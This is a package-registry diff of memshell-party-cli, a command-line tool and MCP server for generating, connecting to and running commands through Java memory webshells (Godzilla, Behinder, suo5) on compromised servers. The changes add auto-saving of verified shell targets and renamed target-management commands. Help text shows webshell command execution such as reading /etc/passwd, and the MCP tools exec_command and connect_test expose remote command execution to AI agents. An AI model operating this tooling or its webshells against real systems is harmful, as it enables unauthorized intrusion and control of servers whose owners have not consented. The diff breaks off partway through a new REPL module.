memshell-party-cli 0.3.1 → 0.3.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +389 -371
- package/README.md +30 -11
- package/dist/cli.js +287 -79
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +8 -2
- package/dist/index.js +58 -11
- package/dist/index.js.map +1 -1
- package/package.json +1 -1
- package/skills/memshell-party/SKILL.md +3 -3
package/dist/cli.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
2
|
|
|
3
3
|
// src/cli.ts
|
|
4
|
-
import { Command as
|
|
4
|
+
import { Command as Command8, CommanderError as CommanderError2 } from "commander";
|
|
5
5
|
|
|
6
6
|
// src/api/client.ts
|
|
7
7
|
var ApiError = class extends Error {
|
|
@@ -156,6 +156,15 @@ function logInfo(msg) {
|
|
|
156
156
|
process.stderr.write(`${msg}
|
|
157
157
|
`);
|
|
158
158
|
}
|
|
159
|
+
function reportError(message, argv) {
|
|
160
|
+
if (argv.includes("--json")) {
|
|
161
|
+
process.stdout.write(`${JSON.stringify({ ok: false, error: message })}
|
|
162
|
+
`);
|
|
163
|
+
} else {
|
|
164
|
+
process.stderr.write(`Error: ${message}
|
|
165
|
+
`);
|
|
166
|
+
}
|
|
167
|
+
}
|
|
159
168
|
|
|
160
169
|
// src/commands/config.ts
|
|
161
170
|
function printJsonOrLines(data, json, renderLines) {
|
|
@@ -168,7 +177,16 @@ function printJsonOrLines(data, json, renderLines) {
|
|
|
168
177
|
}
|
|
169
178
|
}
|
|
170
179
|
function registerConfigCommand(program) {
|
|
171
|
-
const config = program.command("config").description("Query supported servers, shell tools, shell types, and packers")
|
|
180
|
+
const config = program.command("config").description("Query supported servers, shell tools, shell types, and packers").addHelpText(
|
|
181
|
+
"after",
|
|
182
|
+
`
|
|
183
|
+
Examples:
|
|
184
|
+
$ memparty config servers # servers + their shell types (values for gen -s)
|
|
185
|
+
$ memparty config tools Tomcat # tools available on one server (values for gen -t)
|
|
186
|
+
$ memparty config packers # packer tree (values for gen -p)
|
|
187
|
+
$ memparty config command # Command-tool encryptors and impl classes
|
|
188
|
+
`
|
|
189
|
+
);
|
|
172
190
|
config.command("servers").description("List supported servers and their shell types").option("--json", "output raw JSON").action(async (opts, cmd) => {
|
|
173
191
|
const client = createClient(cmd.optsWithGlobals());
|
|
174
192
|
const servers = await client.getServers();
|
|
@@ -1186,6 +1204,42 @@ function saveShellMeta(projectName, shellName, meta) {
|
|
|
1186
1204
|
writeProjects(projects);
|
|
1187
1205
|
return shell;
|
|
1188
1206
|
}
|
|
1207
|
+
function sanitizeName(name) {
|
|
1208
|
+
const s = name.replace(/[^A-Za-z0-9._-]/g, "_");
|
|
1209
|
+
return /^[A-Za-z0-9]/.test(s) ? s : `x${s}`;
|
|
1210
|
+
}
|
|
1211
|
+
function autoSaveShell(conn) {
|
|
1212
|
+
let host = "target";
|
|
1213
|
+
let port = "";
|
|
1214
|
+
try {
|
|
1215
|
+
const u = new URL(conn.url);
|
|
1216
|
+
host = u.hostname || host;
|
|
1217
|
+
port = u.port;
|
|
1218
|
+
} catch {
|
|
1219
|
+
}
|
|
1220
|
+
const projectName = sanitizeName(host) || "target";
|
|
1221
|
+
const existing = getProject(projectName)?.shells ?? {};
|
|
1222
|
+
let shellName = Object.keys(existing).find(
|
|
1223
|
+
(n) => existing[n].url === conn.url && existing[n].tool === conn.tool
|
|
1224
|
+
);
|
|
1225
|
+
if (!shellName) {
|
|
1226
|
+
const base = sanitizeName(conn.tool) || "shell";
|
|
1227
|
+
shellName = base;
|
|
1228
|
+
if (existing[shellName]) shellName = port ? `${base}-${port}` : `${base}-2`;
|
|
1229
|
+
for (let i = 2; existing[shellName]; i++) shellName = `${base}-${i}`;
|
|
1230
|
+
}
|
|
1231
|
+
saveShell(projectName, shellName, {
|
|
1232
|
+
url: conn.url,
|
|
1233
|
+
tool: conn.tool,
|
|
1234
|
+
pass: conn.pass,
|
|
1235
|
+
key: conn.key,
|
|
1236
|
+
headerName: conn.headerName,
|
|
1237
|
+
headerValue: conn.headerValue,
|
|
1238
|
+
extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
|
|
1239
|
+
insecure: conn.insecure
|
|
1240
|
+
});
|
|
1241
|
+
return `${projectName}/${shellName}`;
|
|
1242
|
+
}
|
|
1189
1243
|
function resolveConnection(ref, flags) {
|
|
1190
1244
|
let stored;
|
|
1191
1245
|
let targetName;
|
|
@@ -1195,7 +1249,7 @@ function resolveConnection(ref, flags) {
|
|
|
1195
1249
|
let shellName = slash === -1 ? void 0 : ref.slice(slash + 1);
|
|
1196
1250
|
const project = getProject(projectName);
|
|
1197
1251
|
if (!project) {
|
|
1198
|
-
throw new Error(`unknown project ${JSON.stringify(projectName)} \u2014 see 'memparty
|
|
1252
|
+
throw new Error(`unknown project ${JSON.stringify(projectName)} \u2014 see 'memparty list'`);
|
|
1199
1253
|
}
|
|
1200
1254
|
if (!shellName) {
|
|
1201
1255
|
const names = Object.keys(project.shells);
|
|
@@ -1254,7 +1308,7 @@ function parseExtraHeaders(lines) {
|
|
|
1254
1308
|
function registerConnectCommand(program) {
|
|
1255
1309
|
program.command("connect").description(
|
|
1256
1310
|
"Test whether a deployed webshell (Godzilla / Behinder / suo5) is alive and the credentials work"
|
|
1257
|
-
).argument("[name]", "saved target name (see 'memparty
|
|
1311
|
+
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
1258
1312
|
new Option("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
|
|
1259
1313
|
).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
|
|
1260
1314
|
"--header-name <name>",
|
|
@@ -1264,7 +1318,7 @@ function registerConnectCommand(program) {
|
|
|
1264
1318
|
"gate header value reported by gen (shellToolConfig.headerValue)"
|
|
1265
1319
|
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').addOption(
|
|
1266
1320
|
new Option("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
|
|
1267
|
-
).option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").addHelpText(
|
|
1321
|
+
).option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
|
|
1268
1322
|
"after",
|
|
1269
1323
|
`
|
|
1270
1324
|
Examples:
|
|
@@ -1273,14 +1327,15 @@ Examples:
|
|
|
1273
1327
|
$ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond \\
|
|
1274
1328
|
--header-value YdwTyuQr
|
|
1275
1329
|
$ memparty connect -u http://target/suo5.jsp -t suo5
|
|
1276
|
-
$ memparty connect web222 # saved target, see 'memparty
|
|
1330
|
+
$ memparty connect web222 # saved target, see 'memparty list'
|
|
1277
1331
|
$ memparty connect -u https://target/shell.jsp -t godzilla -k --json
|
|
1278
1332
|
|
|
1279
1333
|
Note: shells generated by MemShellParty check a gate header \u2014 copy
|
|
1280
1334
|
shellToolConfig.headerName/headerValue from the \`gen --json\` output
|
|
1281
1335
|
(default header name is "User-Agent"), or the shell stays silent.
|
|
1282
|
-
|
|
1283
|
-
just pass the name.
|
|
1336
|
+
A successful test auto-saves the profile as <host>/<tool> (skip with
|
|
1337
|
+
--no-save); afterwards just pass the name. See 'memparty list',
|
|
1338
|
+
'memparty note' and 'memparty remove' to manage saved targets.
|
|
1284
1339
|
`
|
|
1285
1340
|
).action(async (name, opts, cmd) => {
|
|
1286
1341
|
const globals = cmd.optsWithGlobals();
|
|
@@ -1298,8 +1353,7 @@ just pass the name.
|
|
|
1298
1353
|
insecure: opts.insecure
|
|
1299
1354
|
});
|
|
1300
1355
|
} catch (err) {
|
|
1301
|
-
|
|
1302
|
-
`);
|
|
1356
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
1303
1357
|
process.exitCode = 1;
|
|
1304
1358
|
return;
|
|
1305
1359
|
}
|
|
@@ -1327,6 +1381,11 @@ just pass the name.
|
|
|
1327
1381
|
process.exitCode = 1;
|
|
1328
1382
|
return;
|
|
1329
1383
|
}
|
|
1384
|
+
let savedAs;
|
|
1385
|
+
if (result.ok && conn.targetName === void 0 && opts.save !== false) {
|
|
1386
|
+
savedAs = autoSaveShell(conn);
|
|
1387
|
+
conn.targetName = savedAs;
|
|
1388
|
+
}
|
|
1330
1389
|
logOp({
|
|
1331
1390
|
category: "connect",
|
|
1332
1391
|
action: "connect",
|
|
@@ -1339,12 +1398,13 @@ just pass the name.
|
|
|
1339
1398
|
error: result.error
|
|
1340
1399
|
});
|
|
1341
1400
|
if (opts.json) {
|
|
1342
|
-
process.stdout.write(`${JSON.stringify(result, null, 2)}
|
|
1401
|
+
process.stdout.write(`${JSON.stringify({ ...result, savedAs }, null, 2)}
|
|
1343
1402
|
`);
|
|
1344
1403
|
} else if (result.ok) {
|
|
1345
1404
|
process.stdout.write(`OK ${result.tool} ${result.url}
|
|
1346
1405
|
${result.detail ?? ""}
|
|
1347
1406
|
`);
|
|
1407
|
+
if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);
|
|
1348
1408
|
} else {
|
|
1349
1409
|
process.stderr.write(`FAIL ${result.tool} ${result.url}
|
|
1350
1410
|
${result.error ?? ""}
|
|
@@ -1372,7 +1432,7 @@ function parseExtraHeaders2(lines) {
|
|
|
1372
1432
|
function registerExecCommand(program) {
|
|
1373
1433
|
program.command("exec").description(
|
|
1374
1434
|
"Execute a command on a deployed webshell (Godzilla / Behinder) and print its output"
|
|
1375
|
-
).argument("[name]", "saved target name (see 'memparty
|
|
1435
|
+
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
1376
1436
|
new Option2("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
|
|
1377
1437
|
).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").addOption(
|
|
1378
1438
|
new Option2("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
|
|
@@ -1382,7 +1442,7 @@ function registerExecCommand(program) {
|
|
|
1382
1442
|
).option(
|
|
1383
1443
|
"--header-value <value>",
|
|
1384
1444
|
"gate header value reported by gen (shellToolConfig.headerValue)"
|
|
1385
|
-
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").addHelpText(
|
|
1445
|
+
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
|
|
1386
1446
|
"after",
|
|
1387
1447
|
`
|
|
1388
1448
|
Examples:
|
|
@@ -1390,7 +1450,7 @@ Examples:
|
|
|
1390
1450
|
--header-value qSGAJScj --cmd "whoami"
|
|
1391
1451
|
$ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond \\
|
|
1392
1452
|
--header-value YdwTyuQr --cmd "cat /etc/passwd"
|
|
1393
|
-
$ memparty exec web222 --cmd "whoami" # saved target, see 'memparty
|
|
1453
|
+
$ memparty exec web222 --cmd "whoami" # saved target, see 'memparty list'
|
|
1394
1454
|
$ memparty exec -u http://target/shell.jsp -t godzilla --os windows \\
|
|
1395
1455
|
--cmd "ipconfig /all" --json
|
|
1396
1456
|
|
|
@@ -1414,8 +1474,7 @@ the OS inside its payload, so --os does not apply.
|
|
|
1414
1474
|
insecure: opts.insecure
|
|
1415
1475
|
});
|
|
1416
1476
|
} catch (err) {
|
|
1417
|
-
|
|
1418
|
-
`);
|
|
1477
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
1419
1478
|
process.exitCode = 1;
|
|
1420
1479
|
return;
|
|
1421
1480
|
}
|
|
@@ -1450,6 +1509,11 @@ the OS inside its payload, so --os does not apply.
|
|
|
1450
1509
|
process.exitCode = 1;
|
|
1451
1510
|
return;
|
|
1452
1511
|
}
|
|
1512
|
+
let savedAs;
|
|
1513
|
+
if (result.ok && conn.targetName === void 0 && opts.save !== false) {
|
|
1514
|
+
savedAs = autoSaveShell(conn);
|
|
1515
|
+
conn.targetName = savedAs;
|
|
1516
|
+
}
|
|
1453
1517
|
const truncated = result.output !== void 0 ? truncateOutput(result.output) : null;
|
|
1454
1518
|
logOp({
|
|
1455
1519
|
category: "exec",
|
|
@@ -1465,11 +1529,12 @@ the OS inside its payload, so --os does not apply.
|
|
|
1465
1529
|
error: result.error
|
|
1466
1530
|
});
|
|
1467
1531
|
if (opts.json) {
|
|
1468
|
-
process.stdout.write(`${JSON.stringify(result, null, 2)}
|
|
1532
|
+
process.stdout.write(`${JSON.stringify({ ...result, savedAs }, null, 2)}
|
|
1469
1533
|
`);
|
|
1470
1534
|
} else if (result.ok) {
|
|
1471
1535
|
process.stdout.write(result.output ?? "");
|
|
1472
1536
|
if (result.output && !result.output.endsWith("\n")) process.stdout.write("\n");
|
|
1537
|
+
if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);
|
|
1473
1538
|
} else {
|
|
1474
1539
|
process.stderr.write(`FAIL ${result.tool} ${result.url}
|
|
1475
1540
|
${result.error ?? ""}
|
|
@@ -1868,13 +1933,15 @@ for a single payload. The --json output includes the gate header
|
|
|
1868
1933
|
// src/commands/log.ts
|
|
1869
1934
|
import { Option as Option4 } from "commander";
|
|
1870
1935
|
function registerLogCommand(program) {
|
|
1871
|
-
program.command("log").description("Show the global operation log
|
|
1936
|
+
program.command("log").description("Show the global operation log").addOption(
|
|
1872
1937
|
new Option4("--category <name>", "filter by operation category").choices([
|
|
1873
1938
|
"gen",
|
|
1874
1939
|
"probe",
|
|
1875
1940
|
"connect",
|
|
1876
1941
|
"exec",
|
|
1877
|
-
"
|
|
1942
|
+
"save",
|
|
1943
|
+
"note",
|
|
1944
|
+
"remove"
|
|
1878
1945
|
])
|
|
1879
1946
|
).option(
|
|
1880
1947
|
"--target <name>",
|
|
@@ -1885,6 +1952,7 @@ function registerLogCommand(program) {
|
|
|
1885
1952
|
Examples:
|
|
1886
1953
|
$ memparty log # latest 50 operations
|
|
1887
1954
|
$ memparty log --category exec # only command executions
|
|
1955
|
+
$ memparty log --category save # only target saves
|
|
1888
1956
|
$ memparty log --target hw222 # everything against project hw222
|
|
1889
1957
|
$ memparty log --category exec --target 192.168.31.222 --json
|
|
1890
1958
|
`
|
|
@@ -2186,7 +2254,7 @@ function createMcpServer(client) {
|
|
|
2186
2254
|
"connect_test",
|
|
2187
2255
|
{
|
|
2188
2256
|
title: "Test shell connection",
|
|
2189
|
-
description: "Test whether a deployed Godzilla / Behinder / suo5 shell is alive and the credentials work, by performing the tool's real protocol handshake. Pass a saved target `name`, or url+tool with the gate header (headerName/headerValue) from generate_memshell output for MemShellParty shells.",
|
|
2257
|
+
description: "Test whether a deployed Godzilla / Behinder / suo5 shell is alive and the credentials work, by performing the tool's real protocol handshake. Pass a saved target `name`, or url+tool with the gate header (headerName/headerValue) from generate_memshell output for MemShellParty shells. On success the profile is auto-saved and the canonical name returned as `savedAs` \u2014 reuse it as `name` in later calls.",
|
|
2190
2258
|
inputSchema: connectInput
|
|
2191
2259
|
},
|
|
2192
2260
|
async (args) => {
|
|
@@ -2221,6 +2289,11 @@ function createMcpServer(client) {
|
|
|
2221
2289
|
default:
|
|
2222
2290
|
throw new Error(`unknown tool ${String(conn.tool)}`);
|
|
2223
2291
|
}
|
|
2292
|
+
let savedAs;
|
|
2293
|
+
if (result.ok && conn.targetName === void 0) {
|
|
2294
|
+
savedAs = autoSaveShell(conn);
|
|
2295
|
+
conn.targetName = savedAs;
|
|
2296
|
+
}
|
|
2224
2297
|
logOp({
|
|
2225
2298
|
category: "connect",
|
|
2226
2299
|
action: "connect",
|
|
@@ -2232,7 +2305,7 @@ function createMcpServer(client) {
|
|
|
2232
2305
|
detail: result.detail,
|
|
2233
2306
|
error: result.error
|
|
2234
2307
|
});
|
|
2235
|
-
return jsonContent(result);
|
|
2308
|
+
return jsonContent(savedAs !== void 0 ? { ...result, savedAs } : result);
|
|
2236
2309
|
} catch (err) {
|
|
2237
2310
|
return errorContent(err);
|
|
2238
2311
|
}
|
|
@@ -2242,7 +2315,7 @@ function createMcpServer(client) {
|
|
|
2242
2315
|
"exec_command",
|
|
2243
2316
|
{
|
|
2244
2317
|
title: "Execute command on shell",
|
|
2245
|
-
description: "Execute a command line on a deployed Godzilla / Behinder shell and return its stdout+stderr. Uses the tool's real protocol (Godzilla execCommand method / Behinder Cmd payload). Run connect_test first to verify credentials; pass a saved target `name`, or url+tool with the same gate header (headerName/headerValue) for MemShellParty shells.",
|
|
2318
|
+
description: "Execute a command line on a deployed Godzilla / Behinder shell and return its stdout+stderr. Uses the tool's real protocol (Godzilla execCommand method / Behinder Cmd payload). Run connect_test first to verify credentials; pass a saved target `name`, or url+tool with the same gate header (headerName/headerValue) for MemShellParty shells. On success the profile is auto-saved and the canonical name returned as `savedAs`.",
|
|
2246
2319
|
inputSchema: execInput
|
|
2247
2320
|
},
|
|
2248
2321
|
async (args) => {
|
|
@@ -2280,6 +2353,11 @@ function createMcpServer(client) {
|
|
|
2280
2353
|
default:
|
|
2281
2354
|
throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
2282
2355
|
}
|
|
2356
|
+
let savedAs;
|
|
2357
|
+
if (result.ok && conn.targetName === void 0) {
|
|
2358
|
+
savedAs = autoSaveShell(conn);
|
|
2359
|
+
conn.targetName = savedAs;
|
|
2360
|
+
}
|
|
2283
2361
|
const truncated = result.output !== void 0 ? truncateOutput(result.output) : null;
|
|
2284
2362
|
logOp({
|
|
2285
2363
|
category: "exec",
|
|
@@ -2294,7 +2372,7 @@ function createMcpServer(client) {
|
|
|
2294
2372
|
outputTruncated: truncated?.truncated || void 0,
|
|
2295
2373
|
error: result.error
|
|
2296
2374
|
});
|
|
2297
|
-
return jsonContent(result);
|
|
2375
|
+
return jsonContent(savedAs !== void 0 ? { ...result, savedAs } : result);
|
|
2298
2376
|
} catch (err) {
|
|
2299
2377
|
return errorContent(err);
|
|
2300
2378
|
}
|
|
@@ -2326,7 +2404,7 @@ function createMcpServer(client) {
|
|
|
2326
2404
|
remark: args.shellRemark
|
|
2327
2405
|
});
|
|
2328
2406
|
logOp({
|
|
2329
|
-
category: "
|
|
2407
|
+
category: "save",
|
|
2330
2408
|
action: "save",
|
|
2331
2409
|
targetName: `${args.project}/${args.shell}`,
|
|
2332
2410
|
url: args.url,
|
|
@@ -2365,7 +2443,7 @@ function createMcpServer(client) {
|
|
|
2365
2443
|
}
|
|
2366
2444
|
const updated2 = saveShellMeta(args.project, args.shell, { remark: args.remark });
|
|
2367
2445
|
logOp({
|
|
2368
|
-
category: "
|
|
2446
|
+
category: "note",
|
|
2369
2447
|
action: "note",
|
|
2370
2448
|
targetName: `${args.project}/${args.shell}`,
|
|
2371
2449
|
ok: true,
|
|
@@ -2382,7 +2460,7 @@ function createMcpServer(client) {
|
|
|
2382
2460
|
category: args.category
|
|
2383
2461
|
});
|
|
2384
2462
|
logOp({
|
|
2385
|
-
category: "
|
|
2463
|
+
category: "note",
|
|
2386
2464
|
action: "note",
|
|
2387
2465
|
targetName: args.project,
|
|
2388
2466
|
ok: true,
|
|
@@ -2432,7 +2510,7 @@ function createMcpServer(client) {
|
|
|
2432
2510
|
const removed = args.shell ? removeShell(args.project, args.shell) : removeProject(args.project);
|
|
2433
2511
|
if (!removed) throw new Error(`unknown target ${args.project}/${args.shell ?? ""}`);
|
|
2434
2512
|
logOp({
|
|
2435
|
-
category: "
|
|
2513
|
+
category: "remove",
|
|
2436
2514
|
action: "remove",
|
|
2437
2515
|
targetName: args.shell ? `${args.project}/${args.shell}` : args.project,
|
|
2438
2516
|
ok: true,
|
|
@@ -2448,9 +2526,9 @@ function createMcpServer(client) {
|
|
|
2448
2526
|
"log_list",
|
|
2449
2527
|
{
|
|
2450
2528
|
title: "List operation log",
|
|
2451
|
-
description: "Read the global operation log (every gen/probe/connect/exec/
|
|
2529
|
+
description: "Read the global operation log (every gen/probe/connect/exec/save/note/remove op), newest first. Filter by category and/or target.",
|
|
2452
2530
|
inputSchema: {
|
|
2453
|
-
category: z.enum(["gen", "probe", "connect", "exec", "
|
|
2531
|
+
category: z.enum(["gen", "probe", "connect", "exec", "save", "note", "remove"]).optional().describe("operation category"),
|
|
2454
2532
|
target: z.string().optional().describe("project name, project/shell, or a URL substring (e.g. host)"),
|
|
2455
2533
|
limit: z.number().optional().describe("max entries (default 50)")
|
|
2456
2534
|
}
|
|
@@ -2489,7 +2567,15 @@ function registerMcpCommand(program) {
|
|
|
2489
2567
|
// src/commands/parse-classname.ts
|
|
2490
2568
|
import { readFileSync as readFileSync6 } from "fs";
|
|
2491
2569
|
function registerParseClassNameCommand(program) {
|
|
2492
|
-
program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").
|
|
2570
|
+
program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").addHelpText(
|
|
2571
|
+
"after",
|
|
2572
|
+
`
|
|
2573
|
+
Examples:
|
|
2574
|
+
$ memparty parse-classname -f shell.class
|
|
2575
|
+
$ memparty parse-classname "$(memparty gen -s Tomcat -t Command -y Filter \\
|
|
2576
|
+
-p DefaultBase64 --command-param-name cmd)"
|
|
2577
|
+
`
|
|
2578
|
+
).action(async (base64, opts, cmd) => {
|
|
2493
2579
|
let classBase64;
|
|
2494
2580
|
if (opts.file) {
|
|
2495
2581
|
classBase64 = readFileSync6(opts.file).toString("base64");
|
|
@@ -2715,11 +2801,37 @@ function parseRef(ref) {
|
|
|
2715
2801
|
if (slash === -1) return { project: ref };
|
|
2716
2802
|
return { project: ref.slice(0, slash), shell: ref.slice(slash + 1) };
|
|
2717
2803
|
}
|
|
2718
|
-
function
|
|
2719
|
-
const
|
|
2720
|
-
|
|
2804
|
+
function listTargets(opts) {
|
|
2805
|
+
const all = listProjects();
|
|
2806
|
+
const names = Object.keys(all).filter(
|
|
2807
|
+
(n) => opts.category === void 0 || all[n].category === opts.category
|
|
2721
2808
|
);
|
|
2722
|
-
|
|
2809
|
+
if (opts.json) {
|
|
2810
|
+
const filtered = {};
|
|
2811
|
+
for (const n of names) filtered[n] = all[n];
|
|
2812
|
+
process.stdout.write(`${JSON.stringify(filtered, null, 2)}
|
|
2813
|
+
`);
|
|
2814
|
+
return;
|
|
2815
|
+
}
|
|
2816
|
+
if (names.length === 0) {
|
|
2817
|
+
process.stdout.write(`no saved projects (store: ${targetStorePath()})
|
|
2818
|
+
`);
|
|
2819
|
+
return;
|
|
2820
|
+
}
|
|
2821
|
+
for (const name of names) {
|
|
2822
|
+
const p = all[name];
|
|
2823
|
+
const meta = [p.category ? `[${p.category}]` : void 0, p.remark].filter(Boolean).join(" ");
|
|
2824
|
+
process.stdout.write(`${name}${meta ? ` ${meta}` : ""}
|
|
2825
|
+
`);
|
|
2826
|
+
for (const [shellName, s] of Object.entries(p.shells)) {
|
|
2827
|
+
const line = ` ${name}/${shellName} ${s.tool} ${s.url}`;
|
|
2828
|
+
process.stdout.write(`${line}${s.remark ? ` \u2014 ${s.remark}` : ""}
|
|
2829
|
+
`);
|
|
2830
|
+
}
|
|
2831
|
+
}
|
|
2832
|
+
}
|
|
2833
|
+
function registerTargetCommand(program) {
|
|
2834
|
+
program.command("save").description(
|
|
2723
2835
|
"Save a shell connection profile as <project>/<shell> (overwrites an existing shell)"
|
|
2724
2836
|
).argument("<ref>", "shell reference: <project>/<shell>").requiredOption("-u, --url <url>", "URL of the deployed shell").addOption(
|
|
2725
2837
|
new Option6("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
|
|
@@ -2727,10 +2839,14 @@ function registerTargetCommand(program) {
|
|
|
2727
2839
|
"after",
|
|
2728
2840
|
`
|
|
2729
2841
|
Examples:
|
|
2730
|
-
$ memparty
|
|
2842
|
+
$ memparty save hw222/bh9060 -u http://192.168.31.222:9060/console/service \\
|
|
2731
2843
|
-t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \\
|
|
2732
2844
|
--remark "\u5185\u7F51\u6D4B\u8BD5\u73AF\u5883" --category test
|
|
2845
|
+
$ memparty list # show saved targets
|
|
2733
2846
|
$ memparty exec hw222/bh9060 --cmd "whoami"
|
|
2847
|
+
|
|
2848
|
+
Note: connect/exec already auto-save a verified shell as <host>/<tool>;
|
|
2849
|
+
save is for choosing the name by hand.
|
|
2734
2850
|
`
|
|
2735
2851
|
).action((ref, opts) => {
|
|
2736
2852
|
const { project, shell } = parseRef(ref);
|
|
@@ -2763,7 +2879,7 @@ Examples:
|
|
|
2763
2879
|
};
|
|
2764
2880
|
const stored = saveShell(project, shell, input3);
|
|
2765
2881
|
logOp({
|
|
2766
|
-
category: "
|
|
2882
|
+
category: "save",
|
|
2767
2883
|
action: "save",
|
|
2768
2884
|
targetName: `${project}/${shell}`,
|
|
2769
2885
|
url: stored.url,
|
|
@@ -2788,7 +2904,7 @@ Examples:
|
|
|
2788
2904
|
);
|
|
2789
2905
|
}
|
|
2790
2906
|
});
|
|
2791
|
-
|
|
2907
|
+
program.command("note").description("Set a remark/category on a project, or a remark on a shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").option("--remark <text>", 'remark ("" to clear)').option("--category <name>", 'project category ("" to clear; projects only)').action((ref, opts) => {
|
|
2792
2908
|
const { project, shell } = parseRef(ref);
|
|
2793
2909
|
if (shell) {
|
|
2794
2910
|
if (opts.category !== void 0) {
|
|
@@ -2803,7 +2919,7 @@ Examples:
|
|
|
2803
2919
|
}
|
|
2804
2920
|
const updated2 = saveShellMeta(project, shell, { remark: opts.remark });
|
|
2805
2921
|
logOp({
|
|
2806
|
-
category: "
|
|
2922
|
+
category: "note",
|
|
2807
2923
|
action: "note",
|
|
2808
2924
|
targetName: `${project}/${shell}`,
|
|
2809
2925
|
ok: true,
|
|
@@ -2830,7 +2946,7 @@ Examples:
|
|
|
2830
2946
|
category: opts.category
|
|
2831
2947
|
});
|
|
2832
2948
|
logOp({
|
|
2833
|
-
category: "
|
|
2949
|
+
category: "note",
|
|
2834
2950
|
action: "note",
|
|
2835
2951
|
targetName: project,
|
|
2836
2952
|
ok: true,
|
|
@@ -2841,40 +2957,12 @@ Examples:
|
|
|
2841
2957
|
`
|
|
2842
2958
|
);
|
|
2843
2959
|
});
|
|
2844
|
-
|
|
2845
|
-
|
|
2846
|
-
const names = Object.keys(all).filter(
|
|
2847
|
-
(n) => opts.category === void 0 || all[n].category === opts.category
|
|
2848
|
-
);
|
|
2849
|
-
if (opts.json) {
|
|
2850
|
-
const filtered = {};
|
|
2851
|
-
for (const n of names) filtered[n] = all[n];
|
|
2852
|
-
process.stdout.write(`${JSON.stringify(filtered, null, 2)}
|
|
2853
|
-
`);
|
|
2854
|
-
return;
|
|
2855
|
-
}
|
|
2856
|
-
if (names.length === 0) {
|
|
2857
|
-
process.stdout.write(`no saved projects (store: ${targetStorePath()})
|
|
2858
|
-
`);
|
|
2859
|
-
return;
|
|
2860
|
-
}
|
|
2861
|
-
for (const name of names) {
|
|
2862
|
-
const p = all[name];
|
|
2863
|
-
const meta = [p.category ? `[${p.category}]` : void 0, p.remark].filter(Boolean).join(" ");
|
|
2864
|
-
process.stdout.write(`${name}${meta ? ` ${meta}` : ""}
|
|
2865
|
-
`);
|
|
2866
|
-
for (const [shellName, s] of Object.entries(p.shells)) {
|
|
2867
|
-
const line = ` ${name}/${shellName} ${s.tool} ${s.url}`;
|
|
2868
|
-
process.stdout.write(`${line}${s.remark ? ` \u2014 ${s.remark}` : ""}
|
|
2869
|
-
`);
|
|
2870
|
-
}
|
|
2871
|
-
}
|
|
2872
|
-
});
|
|
2873
|
-
target.command("remove").description("Remove a whole project or a single shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").action((ref) => {
|
|
2960
|
+
program.command("list").description("List saved projects and their shells").option("--category <name>", "only show projects in this category").option("--json", "output raw JSON").action(listTargets);
|
|
2961
|
+
program.command("remove").description("Remove a whole project or a single shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").action((ref) => {
|
|
2874
2962
|
const { project, shell } = parseRef(ref);
|
|
2875
2963
|
const removed = shell ? removeShell(project, shell) : removeProject(project);
|
|
2876
2964
|
logOp({
|
|
2877
|
-
category: "
|
|
2965
|
+
category: "remove",
|
|
2878
2966
|
action: "remove",
|
|
2879
2967
|
targetName: ref,
|
|
2880
2968
|
ok: removed,
|
|
@@ -2920,13 +3008,130 @@ function registerVersionCommand(program) {
|
|
|
2920
3008
|
});
|
|
2921
3009
|
}
|
|
2922
3010
|
|
|
3011
|
+
// src/repl.ts
|
|
3012
|
+
import * as readline from "readline";
|
|
3013
|
+
import { CommanderError } from "commander";
|
|
3014
|
+
function tokenize(line) {
|
|
3015
|
+
const tokens = [];
|
|
3016
|
+
let cur = "";
|
|
3017
|
+
let quote = null;
|
|
3018
|
+
let started = false;
|
|
3019
|
+
for (const ch of line) {
|
|
3020
|
+
if (quote !== null) {
|
|
3021
|
+
